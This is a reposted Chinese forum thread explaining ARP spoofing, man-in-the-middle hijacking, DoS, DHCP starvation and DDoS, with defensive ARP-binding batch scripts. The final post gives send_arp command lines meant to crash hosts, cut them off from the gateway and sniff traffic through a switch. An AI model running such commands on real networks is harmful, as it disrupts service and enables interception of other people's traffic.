Evo. G Tech Team Forum
Welcome to Evo. G Tech Team Forum. We have moved to a new website : www.evogtechteam.com

Thanks you.

by Evo. G Tech Team Management.

【转载】【分享】ARP攻击

View previous topic View next topic Go down

【转载】【分享】ARP攻击

Post by cyjian on December 12th 2014, 10:34

1、 ARP协议概述

IP数据包常通过以太网发送。以太网设备并不识别32位IP地址:它们是以48位以太网地址传输以太网数据包的。因此,IP驱动器必须把IP目的地址转换 成以太网网目的地址。在这两种地址之间存在着某种静态的或算法的映射,常常需要查看一张表。地址解析协议(Address Resolution Protocol,ARP)就是用来确定这些映象的协议。

ARP工作时,送出一个含有所希望的IP地址的以太网广播数据包。目的地主机,或另一个代表该主机的系统,以一个含有IP和以太网地址对的数据包作为应答。发送者将这个地址对高速缓存起来,以节约不必要的ARP通信。

如果有一个不被信任的节点对本地网络具有写访问许可权,那么也会有某种风险。这样一台机器可以发布虚假的ARP报文并将所有通信都转向它自己,然后它就可 以扮演某些机器,或者顺便对数据流进行简单的修改。ARP机制常常是自动起作用的。在特别安全的网络上, ARP映射可以用固件,并且具有自动抑制协议达到防止干扰的目的。

2、ARP欺骗

我们先复习一下上面所讲的ARP协议的原理。在实现TCP/IP协议的网络环境下,一个ip包走到哪里,要怎么走是靠路由表定义,但是,当ip包到达该网 络后,哪台机器响应这个ip包却是靠该ip包中所包含的硬件mac地址来识别。也就是说,只有机器的硬件mac地址和该ip包中的硬件mac地址相同的机 器才会应答这个ip包,因为在网络中,每一台主机都会有发送ip包的时候,所以,在每台主机的内存中,都有一个 arp--> 硬件mac 的转换表。通常是动态的转换表(该arp表可以手工添加静态条目)。也就是说,该对应表会被主机在一定的时间间隔后刷新。这个时间间隔就是ARP高速缓存 的超时时间。
通常主机在发送一个ip包之前,它要到该转换表中寻找和ip包对应的硬件mac地址,如果没有找到,该主机就发送一个ARP广播包,于是,主机刷新自己的ARP缓存。然后发出该ip包。
了解这些常识后,现在就可以谈在以太网络中如何实现ARP欺骗了。
我们可以人为的制造一个arp_reply的响应包,发送给想要欺骗的主机,这是可以实现的,因为协议并没有规定必须在接收到arp_echo后才可以发送响应包.这样的工具很多,我们也可以直接用snifferpro抓一个arp响应包,然后进行修改。

你可以人为地制造这个包。可以指定ARP包中的源IP、目标IP、源MAC地址、目标MAC地址。这样你就可以通过虚假的ARP响应包来修改主机A上的动态ARP缓存达到欺骗的目的。
实战演练[MIM攻击]
在ARP方式的攻击,最有意思的环节莫过于MIM(中间人攻击),这种非常隐蔽方式可以在两台通信的计算机之间进行桥接方式的监听,并且非常不容易被发现,可谓是偷盗学术上的典范运用。

1、会话劫持(hijacking)

会话劫持是一个很贱的攻击方式,为什么说他贱呢,请看下面的官方解释:
会话劫持就是在一次正常的通信过程中,攻击者作为第三方参与到其中,或者是在数据里加入其他信息,甚至将双方的通信模式暗中改变,即从 直接联系变成有攻击者参与的联系。简单地说,就是攻击者把自己插入到受害者和目标机器之间,并设法让受害者和目标机器之间的数据通道变为受害者和目标机器 之间存在一个看起来像中转站的代理机器(攻击者的机器)的数据通道,从而干涉两台机器之间的数据传输,例如监听敏感数据、替换数据等。
举个很简单的例子:比如说你刚用你的支付宝账户登陆了,然后第三方就把你和支付宝之间的通信劫持了,然后这个第三方就可以正大光明的利用你的账户和支付宝通信,你就憋屈去把,是不是很贱?

那么会话劫持的原理是什么呢?这里需要普及一点TCP/IP 的知识(题外话,如果真想学网络安全,或者网络攻击,一定要好好学习一下TCP/IP这门课或者看一下这本书,基本上能遇到的关于网络安全相关的其实就是 攻击TCP/IP 协议族的漏洞,很强大,如果配合本文去看就更好了,哈哈)。

TCP/IP有用于数据确认的机制,建立在两台服务器上的通信需要这种机制来确认通信。具体原理是这样的:
TCP每次建立一个连接时,会给双方指定这样一条规则:序号字段指出了本报文中传送的数据在发送主机所要传送的整个数据流中的顺序号,而确认序号字段指出 了发送本报文的主机希望接收的对方主机中下一个八位组的顺序号。一台主机即将发出的报文中的SEQ值应等于它所刚收到的报文中的ACKSEQ值,而它所要 发送报文中的ACKSEQ值应为它所收到报文中的SEQ值加上该报文中所发送的TCP数据的长度,即两者存在“本次发送的SEQ=上次收到的 ACKSEQ;本次发送的ACKSEQ=上次收到的SEQ+本次发送的TCP数据长度”的联系。

那么知道以上原理后就可以实施攻击了:(源主机A、中间主机B、目标主机C)
第一步,利用ARP攻击,监听(源IP、源TCP端口、目标IP、目标TCP端口)信息。(关于如何利用ARP攻击第一部分已经讲了)
第二步,攻击主机B截获到C发来的确认报文,就知道下一条报文的序号和大小,然后攻击主机B提前发送一个带有序列号的报文给C,然后建立联系。
第三步,更改报文长度,就可以欺骗C发送变化的确认报文。真正的掐断A和C之间的联系,应为A和C都认为这个报文不是自己的,就丢弃,这下剩下的只有B和C通信,进行劫持。

其实大部分实施攻击的过程还要更复杂,因为主机A如果和网站C通信,C有很多站点,会产生很多会话,那么劫持所有会话是不可能的,攻击者B只需要劫持一部 分关键性的会话,比如用户ID等等,不需要模拟整个网站,也是不现实的,其他的会话就会被中间人B转发至真正的网站C,只有关键性的会话会被劫持下来并加 以篡改,令人防不胜防。

最后申明一点:现在我只是在学习原理,代码实现神马的就请转弯了,因为我觉得高屋建瓴的去看问题,才能看到本质,如果一开始就猛扎到代码里面去,容易被绕晕。
ARP攻击之拒绝服务攻击(Dos
什么是拒绝服务攻击?
顾名思义,就是把一台主机宕机,使其无法服务或正常运转,牛逼吧。

先把拒绝服务攻击的一些常用手段贴出来:
1、SYN Flood(当前最流行,成功率也最高)
2、RST位攻击(易被防火墙拦截,成功率可想而知)
3、UDP洪水攻击(防火墙过滤某个端口,攻击就被破坏了,这个可以攻击小白)
4、Ping洪流攻击(早期攻击手段,了解)
5、teardrop攻击(很可爱的名字,泪滴攻击,犹如孟姜女哭长城,哭到哪倒到哪,厉害着呢)
6、Smurf攻击(比较好用)
7、Fraggle攻击(上一个的改良版)

还是那句话,ARP攻击各种方式方法,都是利用TCP/IP协议中的漏洞,利用漏洞发起攻击,如果你的TCP/IP一点知识都没有,你如何去找到这些漏洞,然后发起攻击呢?总之一句话,去认真研读TCP/IP协议族吧。

下面就提到的几种Dos攻击分析其原理。

第一,SYN flood攻击很简单,就是利用TCP/IP原理其中的一个漏洞,TCP/IP建立回话的过程需要“三次握手”,不知道的百度哈,我上一篇写的也是利用这 种方式进行欺骗。如果攻击主机不断向被攻击主机发送建立链接的请求,但是不进行第三次握手,这个链接就建立不起来,而且被攻击主机会一直保留未完成的链接 直到倒计时结束,那么不断地请求建立链接,不断地让被攻击主机调用资源和内存存储这些未完成链接,到一定程度就会崩溃。

第二,RST位攻击。在两台主机建立了会话的时候,要破坏主机A的通信,那么也只需要利用TCP/IP 中数据包的RST位,这是复位字段,冒充主机A向B发送RST位,那么主机B就会清空缓冲区建立好的链接,那么A和B链接正式中断,达到使A无法服务的目的。

第三,UDP洪水攻击,很厉害的一种攻击,但是防火墙很容易挡住,是利用协议里面的Chargen服务漏洞,Chargen服务全程character generator protocol(自负发生器协议),其实是一种测试协议,有这样的特征:在TCP连接建立后,服务器不断传送任意的字符到客户端,直到客户端关闭连接。 这样只要攻击者诱使主机产生Chargen服务,那么就会不停的发送测试字符,堆满整个带宽。但是Chargen服务端口号只要被防火墙一过滤,就没有办 法了。

第四,teardrop攻击,他利用的漏洞非常高明,在发送IP包的时候,如果太大的话,需要切割成很多很小的部分,对这些小数据包分别传送,那么不同的 小数据包走不同的路径,被主机在不同的时间接收到,怎样把他组合起来呢,这里就会有有两套方法一起约束,第一是序号,小数据包都有从小到大排列的序号,有 了这个还不行,还需要一个偏移量,如果故意发送假的小数据包过去,而且偏移量设置错误的话,目标主机在计算的时候就会出现严重的错误,对于Windows 系统会导致蓝屏死机,很暴力的。

最后,Smurf攻击,一般Ping某台主机,就是想目的IP发送ICMP应答请求数据包就行了,但是改写Ping的目的IP为广播地址,那么全网的主机 都会回应这个ICMP请求,如果再把源IP地址改成第三方主机,立马就可以利用大量的ICMP应答数据宕掉他,也是很厉害的。五星至少要给到四星半,在局 域网内随意使用。
ARP攻击之DHCP
动态主机设置协议(Dynamic Host Configuration Protocol, DHCP)是一个局域网的网络协议,使用UDP协议工作,主要有两个用途:给内部网络或网络服务供应商自动分配IP地址,给用户或者内部网络管理员作为对 所有计算机作中央管理的手段。


简言之DHCP的工作模式是:

1
客户端发送一个DHCP的侦察包(discovery)给服务器,其中包含请求IP地址的信息。客户端的网卡接口或许会请求它原来所租用的IP地址。

2
服务器发送DHCP供应包(offer),通知所提供的IP地址给客户端。

3
客户端发送DHCP请求包(request),通知DHCP服务器客户端需要服务器所提供的IP地址。

4
服务器发送DHCP确认包(ack),确认客户端已发送的申请要求。客户端绑定服务器所提供的IP地址。

5
客户端绑定默认网关,DNS服务等DHCP所提供的网络设置。

三种攻击方法:

1
、暴力法。每个网络里独立存在一台DHCP服务器进行IP动态分址服务,假如在加入一台DHCP,效果怎样?于是网络中爆发了DHCP服务大战,谁胜利 谁就占有主机的分配权。那么制造一台DHCP服务器,并使其赢得分配权,则可以对主机设置虚假的网关和虚假DNS服务,轻松的实现MIM攻击

2
、精细法。利用ARP欺骗攻击可以从DHCP服务器中偷窃一部分可租用的IP地址(过份的做法是全部偷窃,欺骗正常DHCP其租用空间满载)。伪造 DHCP服务器,并使用欺骗所获得的IP地址进行分配活动。而客户端将得到攻击者伪造的默认网关和伪造的DNS服务器。在伪造默认网关实现监听;或使用伪 DNS重定向用户HTTP访问到黑帽的服务器,进行应用级的偷窃活动。一切依然简单,而且使用的也仅仅是简单的ARP攻击。

3
、坑爹法。许多主机都喜欢DHCP分配相同的IP地址。而管理员则维护了一张MAC-IP的地址列表以便于这种固定的分配。那么通过对一个指定主机的 MAC地址进行欺骗,并请求正确的IP地址,那么这个主机的身份标识将被偷窃。为了实现这个目的,首先将目标机器Dos攻击。并在目标机器重新启动前,对 DHCP实施IP请求,偷窃目标身份标识。一旦偷窃成功,则此状态将存于DHCPMAC-IP地址列表中。(偷取目标主机的身份标识当然为了是采用借刀 杀人,栽赃陷害的假名攻击方法)
ARP攻击之DHCP攻击2
继续接着DHCP开讲,DHCP发动的攻击方式多种多样,前一讲已经罗列的三种方式,今天介绍另一种“DHCP耗竭攻击方式”,说白了就是DHCP的Dos攻击。

一、初级DHCP耗竭攻击

一旦有新的主机发送DHCP请求,那么DHCP server就会在IP池中分配一个IP地址给主机,攻击方不断伪造虚假的Mac地址,DHCP server不断产生新的IP地址,最终将IP池占满,那么就不能服务网络其他主机了,这就是Dos拒绝服务攻击。

二、进阶DHCP耗竭攻击

攻击者可以利用伪造MAC的方式发送DHCP请求,但这种攻击可以使用Cisco 交换机的端口安全特性来防止。端口安全特性(Port Security)可以限制每个端口只使用唯一的MAC地址。但是如果攻击者不修改DHCP请求报文的源MAC地址,而是修改DHCP报文中的 CHADDR字段来实施攻击,那端口安全就不起作用了。由于DHCP服务器认为不同的CHADDR值表示请求来自不同的客户端,所以攻击者可以通过大量发 送伪造CHADDR的DHCP请求,导致DHCP服务器上的地址池被耗尽,从而无法为其他正常用户提供网络地址。

三、高阶DHCP耗竭攻击

上面的攻击都是纯粹的DoS攻击,那么高阶的DHCP攻击就真正设计到窃取用户资料了,而不仅仅是破坏整个网络。

当正常的DHCP服务器瘫痪时,攻击者就可以建立伪造的DHCP服务器来为局域网中的客户端提供地址,使它们将信息转发给准备截取的恶意计算机。这样整个 网络的主机都好像砧板上的鱼肉,任人宰割,再利用虚拟转发机制,主机虽然在正常上网,但是不知不觉的被人查阅了所有信息。太恐怖了。
DDoS
今天开一个新篇,ARP攻击差不多已经嚼烂了,现在开一个新的攻击方式DDoS:分布式拒绝服务(DDoS[You must be registered and logged in to see this image.]istributed Denial of Service)攻击,其实在介绍ARP的时候也简单的做了DDoS介绍,这次开一个深入的学习DDoS的新贴,请各位批评指正。

我特别喜欢DDoS这个专题,主要是因为他够强大,够暴力,DDoS攻击方法上手也快,网上也有很多类似的软件。可以暴力DDoS,也可以精细DDoS,手法多种多样,效果也很好。

今天不介绍DDoS攻击手法,简单的介绍DDoS的基本思路和理念,以及说明一下为啥他这么强大。

先看一下百度的解释:
分布式拒绝服务(DDoS[You must be registered and logged in to see this image.]istributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DoS攻击,从而成倍地提高拒绝服务攻击的威 力。通常,攻击者使用一个偷窃帐号将DDoS主控程序安装在一个计算机上,在一个设定的时间主控程序将与大量代理程序通讯,代理程序已经被安装在 Internet上的许多计算机上。代理程序收到指令时就发动攻击。利用客户/服务器技术,主控程序能在几秒钟内激活成百上千次代理程序的运行。


DDoS
大致分为两大类:

一、带宽消耗型攻击
有以下攻击手段:
User Datagram Protocol (UDP) floods
UDP
是一种无连接协议,当数据包通过 UDP 发送时,所有的数据包在发送和接收时不需要进行握手验证。当大量 UDP 数据包发送给受害系统时,可能会导致带宽饱和从而使得合法服务无法请求访问受害系统。遭受 DDoS UDP 洪泛攻击时,UDP 数据包的目的端口可能是随机或指定的端口,受害系统将尝试处理接收到的数据包以确定本地运行的服务。如果没有应用程序在目标端口运行,受害系统将对源IP 发出 ICMP 数据包,表明目标端口不可达。某些情况下,攻击者会伪造源IP地址以隐藏自己,这样从受害系统返回的数据包不会直接回到僵尸主机,而是被发送到被伪造 地址的主机。有时 UDP 洪泛攻击也可能影响受害系统周围的网络连接,这可能导致受害系统附近的正常系统遇到问题。然而,这取决于网络体系结构和线速。
ICMP floods
ICMP floods
是通过向未良好设置的路由器发送广播信息占用系统资源的做法。
ping of death
(死亡之Ping
ping of death
是产生超过IP协定能容忍的数据包数,若系统没有检查机制,就会死机。
泪滴攻击
每个数据要传送前,该数据包都会经过切割,每个小切割都会记录位移的信息,以便重组,但此攻击模式就是捏造位移信息,造成重组时发生问题,造成错误。

二、资源消耗型攻击
协议分析攻击(SYN floodSYN洪水)
传送控制协议 (TCP) 同步 (SYN) 攻击。TCP 进程通常包括发送者和接受者之间在数据包发送之前创建的完全信号交换。启动系统发送一个 SYN 请求,接收系统返回一个带有自己 SYN 请求的 ACK 确认 )作为交换。发送系统接着传回自己的 ACK 来授权两个系统间的通讯。若接收系统发送了 SYN 数据包,但没接收到 ACK,接受者经过一段时间后会再次发送新的 SYN 数据包。接受系统中的处理器和内存资源将存储该 TCP SYN 的请求直至超时。DDoS TCP SYN 攻击也被称为资源耗尽攻击” ,它利用 TCP 功能将僵尸程序伪装的 TCP SYN 请求发送给受害服务器,从而饱和服务处理器资源并阻止其有效地处理合法请求。它专门利用发送系统和接收系统间的三向信号交换来发送大量欺骗性的原 IP 地址 TCP SYN 数据包给受害系统。最终,大量 TCP SYN 攻击请求反复发送,导致受害系统内存和处理器资源耗尽,致使其无法处理任何合法用户的请求。
LAND attack
这种攻击方式与SYN floods类似,不过在LAND attack攻击包中的原地址和目标地址都是攻击对象的IP。这种攻击会导致被攻击的机器死循环,最终耗尽资源而死机。
CC
攻击
CC
攻击是 DDoS 攻击的一种类型,使用代理服务器向受害服务器发送大量貌似合法的请求 (通常使用 HTTP GET)CC (攻击黑洞)根据其工具命名,攻击者创造性地使用代理机制,利用众多广泛可用的免费代理服务器发动 DDoS 攻击。许多免费代理服务器支持匿名模式,这使追踪变得非常困难。
僵尸网络攻击
僵尸网络是指大量被命令控制型 (C&C) 服务器所控制的互联网主机群。攻击者传播恶意软件并组成自己的僵尸网络。僵尸网络难于检测的原因是,僵尸主机只有在执行特定指令时才会与服务器进行通讯, 使得它们隐蔽且不易察觉。僵尸网络根据网络通讯协议的不同分为IRCHTTPP2P类等。
Application level floods
(应用程序级洪水攻击)
与前面叙说的攻击方式不同,Application level floods主要是针对应用软件层的,也就是高于OSI的。它同样是以大量消耗系统资源为目的,通过向IIS这样的网络服务程序提出无节制的资源申请来迫害正常的网络服务。
网关欺

网关欺诈,是常见的内网攻击,简称ARP攻击,是由于局域网中的某台电脑中病毒或者人为的DDoS攻击。
举例:
       计算机A的IP为192.168.1.1,MAC地址为00-11-22-33-44-01;
       计算机B的IP为192.168.1.2,MAC地址为00-11-22-33-44-02;
       根据上面的所讲的原理,我们简单说明这个过程:A要和B通讯,A就需要知道B的以太网地址,于是A发送
一个ARP请求广播(谁是192.168.1.2 ,请告诉192.168.1.1),当B收到该广播,就检查自己,结果发现和自己
的一致,然后就向A发送一个ARP单播应答。

原理:
      在TCP/IP协议中,A给B发送IP包,在报头中需要填写B的IP为目标地址,但这个IP包在以太网上传输的时
候,还需要进行一次以太包的封装,在这个以太包中,目标地址就是B的MAC地址。计算机A是如何得知B的
MAC地址的呢?解决问题的关键就在于ARP协议。
      在A不知道B的MAC地址的情况下,A就广播一个ARP请求包,请求包中填有B的IP(192.168.1.2),以太网中
的所有计算机都会接收这个请求,而正常的情况下只有B会给出ARP应答包,包中就填充上了B的MAC地址,并
回复给A。A得到ARP应答后,将B的MAC地址放入本机缓存,便于下次使用。本机MAC缓存是有生存期的,生
存期结束后,将再次重复上面的过程。
      ARP协议并不只在发送了ARP请求才接收ARP应答。当计算机接收到ARP应答数据包的时候,就会对本地的
ARP缓存进行更新,将应答中的IP和MAC地址存储在ARP缓存中。因此,当局域网中的某台机器B向A发送一个自
己伪造的ARP应答,而如果这个应答是B冒充C伪造来的,即IP地址为C的IP,而MAC地址是伪造的,则当A接收到
B伪造的ARP应答后,就会更新本地的ARP缓存,这样在A看来C的IP地址没有变,而它的MAC地址已经不是原来
那个了。由于局域网的网络流通不是根据IP地址进行,而是按照MAC地址进行传输。所以,那个伪造出来的MAC
地址在A上被改变成一个不存在的MAC地址,这样就会造成网络不通,导致A不能Ping通C!这就是一个简单的ARP欺骗。

解决办法:
      方法一,下载“服务器安全狗”这个软件,能百分之80%左右制止ARP攻击。方法二,联系网络运营商,让他
绑定你的ip、MAC地址,这能100%阻止。第三,也是我建议的,买个路由器回来吧,路由就相当于你自己的网关,
登录路由器设置界面,开启所有的安全功能,100%阻断烦人ARP攻击。

cyjian
Spammer
Spammer

Posts : 211
Points : 25655
Reputation : 0
Join date : 2014-06-18

View user profile

Back to top Go down

Re: 【转载】【分享】ARP攻击

Post by cyjian on December 12th 2014, 10:34

不用arp防火墙,批处理改正arp攻击


最近单位局域网网速特别慢,甚至断网。应该是中了了arp病毒攻击。下载了个彩影arp防火墙,果然效果明显,并监测到确实是收到了局域网内arp攻击。
     于是,我在关掉彩影防火墙一段时间后,又受到了防火墙攻击,运行arp -a 后,看到的网关mac地址明显是被改动的了。
        
本来写了个批处理,arp -s 网关ip 网关mac 来绑定网关,但是,事实证明,即使绑定,在收到攻击后,mac地址还是被篡改。于是,就在批处理里面加了个循环,让他每隔10几秒绑定一次,以达到改正arp攻击的目的。


批处理的代码写下:

:abcd
arp -s 192.168.1.1 A8-15-4D-83-A5-E2
ping -n 15 127.1>nul
goto abcd

A8-15-4D-83-A5-E2为我网关真实mac地址,可以通过登录路由器得到。
其中 ping -n 15 127.1>nul 只是一个时间间隔的语句,15表示ping的次数,可以根据实际情况适当加减。

由于运行此批处理,dos窗口会一直出现,影响美观,于是写了个vbe文件以调用该批处理文件,就不会有这个dos窗口了。vbe文件代码:

set ws=wscript.createobject("wscript.shell")
ws.run "ip-mac.bat /start",0

只需将改代码复制到txt文件中,然后修改文件名为*.vbe 即可。ip-mac.bat是批处理的文件名。还有就是这个vbe文件跟批处理文件放到同一个文件夹中才可调用。

——————————————————————————————————————————
在此,我只是想说,该批处理文件的作用没有彩影防火墙好用。在此贴出,也只是跟大家分享一种防止arp攻击的一种思路,本人水平浅薄,也希望论坛里的朋友,多多指正

cyjian
Spammer
Spammer

Posts : 211
Points : 25655
Reputation : 0
Join date : 2014-06-18

View user profile

Back to top Go down

Re: 【转载】【分享】ARP攻击

Post by cyjian on December 12th 2014, 10:35

ARP攻击原理及解决方法


在局域网中,通过ARP协议来完成IP地址转换为第二层物理地址(即MAC地址)的。ARP协议对网络安全具有重要的意义。通过伪造IP地址和MAC地址实现ARP欺骗,能够在网络中产生大量的ARP通信量使网络阻塞。




【故障原因】局域网内有人使用ARP欺骗的木马程序(比如:传奇盗号的软件,某些传奇外挂中也被恶意加载了此程序)。【故障原理】要了解故障原理,我们先来了解一下ARP协议。
在局域网中,通过ARP协议来完成IP地址转换为第二层物理地址(即MAC地址)的。ARP协议对网络安全具有重要的意义。通过伪造IP地址和MAC地址实现ARP欺骗,能够在网络中产生大量的ARP通信量使网络阻塞。
ARP
协议是“Address Resolution Protocol”(地址解析协议)的缩写。在局域网中,网络中实际传输的是,帧里面是有目标主机的MAC地址的。在以太网中,一个主机要和另一个 主机进行直接通信,必须要知道目标主机的MAC地址。但这个目标MAC地址是如何获得的呢?它就是通过地址解析协议获得的。所谓地址解析就是主机在发 送帧前将目标IP地址转换成目标MAC地址的过程。ARP协议的基本功能就是通过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的顺利进行。
每台安装有TCP/IP协议的电脑里都有一个ARP缓存表,表里的IP地址与MAC地址是一一对应的,如下表所示。
                    IP地址                             MAC地址A                     192.168.16.1                     aa-aa-aa-aa-aa-aaB                     192.168.16.2                     bb-bb-bb-bb-bb-bbC                     192.168.16.3                     cc-cc-cc-cc-cc-ccD                     192.168.16.4                     dd-dd-dd-dd-dd-dd

我们以主机A192.168.16.1)向主机 B192.168.16.2)发送数据为例。当发送数据时,主机A会在自己的ARP缓存表中寻找是否有目标IP地址。如果找到了,也就知道了目标MAC 地址,直接把目标MAC地址写入帧里面发送就可以了;如果在ARP缓存表中没有找到相对应的IP地址,主机A就会在网络上发送一个广播,目标MAC地址是 “FF.FF.FF.FF.FF.FF”,这表示向同一网段内的所有主机发出这样的询问:“192.168.16.2MAC地址是什么?网络上其他主 机并不响应ARP询问,只有主机B接收到这个帧时,才向主机A做出这样的回应:“192.168.16.2MAC地址是bb-bb-bb-bb-bb- bb”。这样,主机A就知道了主机BMAC地址,它就可以向主机B发送信息了。同时它还更新了自己的ARP缓存表,下次再向主机B发送信息时,直接从 ARP缓存表里查找就可以了。ARP缓存表采用了老化机制,在一段时间内如果表中的某一行没有使用,就会被删除,这样可以大大减少ARP缓存表的长度,加 快查询速度。
从上面可以看出,ARP协议的基础就是信任局域网内所有的人,那么就很容易实现在以太网上的ARP欺骗。对目标A进行欺骗,A Ping主机C却发送到了DD-DD-DD-DD-DD-DD这个地址上。如果进行欺骗的时候,把CMAC地址骗为DD-DD-DD-DD-DD- DD,于是A发送到C上的数据包都变成发送给D的了。这不正好是D能够接收到A发送的数据包了么,嗅探成功。
A
对这个变化一点都没有意识到,但是接下来的事情就让A产生了怀疑。因为AC连接不上了。D对接收到A发送给C的数据包可没有转交给C
“man in the middle”,进行ARP重定向。打开DIP转发功能,A发送过来的数据包,转发给C,好比一个路由器一样。不过,假如D发送ICMP重定向的话就中断了整个计划。
D
直接进行整个包的修改转发,捕获到A发送给C的数据包,全部进行修改后再转发给C,而C接收到的数据包完全认为是从A发送来的。不过,C发送的数据包又直 接传递给A,倘若再次进行对CARP欺骗。现在D就完全成为AC的中间桥梁了,对于AC之间的通讯就可以了如指掌了。【故障现象】当局域网内某台主 机运行ARP欺骗的木马程序时,会欺骗局域网内所有主机和路由器,让所有上网的流量必须经过病毒主机。其他用户原来直接通过路由器上网现在转由通过病毒主 机上网,切换的时候用户会断一次线。
切换到病毒主机上网后,如果用户已经登陆了传奇服务器,那么病毒主机就会经常伪造断线的假像,那么用户就得重新登录传奇服务器,这样病毒主机就可以盗号了。
ARP欺骗的木马程序发作的时候会发出大量的数据包导致局域网通讯拥塞以及其自身处理能力的限制,用户会感觉上网速度越来越慢。当ARP欺骗的木马程序 停止运行时,用户会恢复从路由器上网,切换过程中用户会再断一次线。【HiPER用户快速发现ARP欺骗木马】在路由器的系统历史记录中看到大量如下 的信息(440以后的路由器软件版本中才有此提示):
MAC Chged 10.128.103.124
MAC Old 00:01:6c:36:d1:7f
MAC New 00:05:5d:60:c7:18
这个消息代表了用户的MAC地址发生了变化,在ARP欺骗木马开始运行的时候,局域网所有主机的MAC地址更新为病毒主机的MAC地址(即所有信息的MAC New地址都一致为病毒主机的MAC地址),同时在路由器的用户统计中看到所有用户的MAC地址信息都一样。
果是在路由器的系统历史记录中看到大量MAC Old地址都一致,则说明局域网内曾经出现过ARP欺骗(ARP欺骗的木马程序停止运行时,主机在路由器上恢复其真实的MAC地址)。【在局域网内查找病 毒主机】在上面我们已经知道了使用ARP欺骗木马的主机的MAC地址,那么我们就可以使用NBTSCAN(下载地址:[You must be registered and logged in to see this link.])工具来快速查找它。
NBTSCAN
可以取到PC的真实IP地址和MAC地址,如果有传奇木马在做怪,可以找到装有木马的PCIP/MAC地址。
命令:“nbtscan -r 192.168.16.0/24”(搜索整个192.168.16.0/24网段,
192.168.16.1-192.168.16.254
); “nbtscan 192.168.16.25-137”搜索192.168.16.25-137 网段,即192.168.16.25-192.168.16.137。输出结果第一列是IP地址,最后一列是MAC地址。
NBTSCAN
的使用范例:
假设查找一台MAC地址为“000d870d585f”的病毒主机。
1
)将压缩包中的nbtscan.exe cygwin1.dll解压缩放到c:/下。
2
)在Windows开始运行打开,输入cmdwindows98输入“command”),在出现的DOS窗口中输入:C:/nbtscan -r 192.168.16.1/24(这里需要根据用户实际网段输入),回车。
C:/Documents and Settings/ALAN>C:/nbtscan -r 192.168.16.1/24Warning: -r option not supported under Windows. Running without it.Doing NBT name scan for addresses from 192.168.16.1/24IP address       NetBIOS Name     Server    User             MAC address------------------------------------------------------------------------------192.168.16.0   Sendto failed: Cannot assign requested address192.168.16.50   SERVER                     00-e0-4c-4d-96-c6192.168.16.111  LLF                ADMINISTRATOR    00-22-55-66-77-88192.168.16.121  UTT-HIPER                 00-0d-87-26-7d-78192.168.16.175  JC                         00-07-95-e0-7c-d7192.168.16.223  test123           test123          00-0d-87-0d-58-5f
3)通过查询IP-- MAC对应表,查出“000d870d585f”的病毒主机的IP地址为“192.168.16.223”。【解决思路】1、不要把你的网络安全信任关系 建立在IP基础上或MAC基础上,(rarp同样存在欺骗的问题),理想的关系应该建立在IP+MAC基础上。
2
、设置静态的MAC-->IP对应表,不要让主机刷新你设定好的转换表。
3
、除非很有必要,否则停止使用ARP,将ARP做为永久条目保存在对应表中。
4
、使用ARP服务器。通过该服务器查找自己的ARP转换表来响应其他机器的ARP广播。确保这台ARP服务器不被黑。
5
、使用"proxy"代理IP的传输。
6
、使用硬件屏蔽主机。设置好你的路由,确保IP地址能到达合法的路径。(静态配置路由ARP条目),注意,使用交换集线器和网桥无法阻止ARP欺骗。
7
、管理员定期用响应的IP包中获得一个rarp请求,然后检查ARP响应的真实性。
8
、管理员定期轮询,检查主机上的ARP缓存。
9
、使用防火墙连续监控网络。注意有使用SNMP的情况下,ARP的欺骗有可能导致陷阱包丢失。【HiPER用户的解决方案】建议用户采用双向绑定的方法解决并且防止ARP欺骗。
1
、在PC上绑定路由器的IPMAC地址:
1
)首先,获得路由器的内网的MAC地址(例如HiPER网关地址192.168.16.254MAC地址为0022aa0022aa)。
2
)编写一个批处理文件rarp.bat内容如下:
[You must be registered and logged in to see this link.]   off
arp -d
arp -s 192.168.16.254 00-22-aa-00-22-aa
将文件中的网关IP地址和MAC地址更改为您自己的网关IP地址和MAC地址即可。
将这个批处理软件拖到“windows--开始--程序--启动中。
3
如果是网吧,可以利用收费软件服务端程序(pubwin或者万象都可以)发送批处理文件rarp.bat到所有客户机的启动目录。Windows2000 的默认启动目录为“C:/Documents and Settings/All Users「开始」菜单程序启动
2
、在路由器上绑定用户主机的IPMAC地址(440以后的路由器软件版本支持):
HiPER管理界面--高级配置--用户管理中将局域网每台主机均作绑定。

cyjian
Spammer
Spammer

Posts : 211
Points : 25655
Reputation : 0
Join date : 2014-06-18

View user profile

Back to top Go down

Re: 【转载】【分享】ARP攻击

Post by cyjian on December 12th 2014, 10:35

玩转ARP攻击


我写这片文章只是想让你明白深刻理解某一协议的好处。高手免看。如果有人利用这片文章所做的一切事情,盖不负责。
网上关于ARP的资料已经很多了,就不用我都说了。 用某一位高手的话来说,“我们能做的事情很多,唯一受限制的是我们的创造力和想象力”。
ARP也是如此。
以下讨论的机子有
一个要攻击的机子:10.5.4.178
硬件地址:52:54:4C:98:EE:2F
我的机子: :10.5.3.69
硬件地址:52:54:4C:98:ED:C5
网关: 10.5.0.3
硬件地址:00:90:26:3D:0C:F3
一台交换机另一端口的机子:10.5.3.3
硬件地址:52:54:4C:98:ED:F7
一:用ARP破WINDOWS的屏保
原理:利用IP冲突的级别比屏保高,当有冲突时,就会跳出屏保。
关键:ARP包的数量适当。
[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 \
10.5.4.178 52:54:4C:98:EE:2F 40
二:用ARP导致IP冲突,死机
原理:WINDOWS 9X,NT4在处理IP冲突时,处理不过来,导致死机。
注:对WINDOWS 2K,LINUX相当于flooding,只是比一般的FLOODING 有效的多.对LINUX,明显系统被拖慢。
[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 \
10.5.4.178 52:54:4C:98:EE:2F 999999999
三:用ARP欺骗网关,可导致局域网的某台机子出不了网关。
原理:用ARP应答包去刷新对应着要使之出不去的机子。
[root@sztcww tools]# ./send_arp 10.5.4.178 52:54:4C:98:EE:22 \
10.5.4.178 00:90:26:3D:0C:F3 1
注意:如果单单如上的命令,大概只能有效几秒钟,网关机子里的ARP高速缓存会被被攻击的机子正确刷新,于是只要...
四:用ARP欺骗交换机,可监听到交换机另一端的机子。
可能需要修改一下send_arp.c,构造如下的数据包。
ethhdr
srchw:52:54:4C:98:ED:F7--->dsthw:FF:FF:FF:FF:FF:FF proto:806H
arphdr
hwtype:1 protol:800H hw_size:6 pro_size:4 op:1
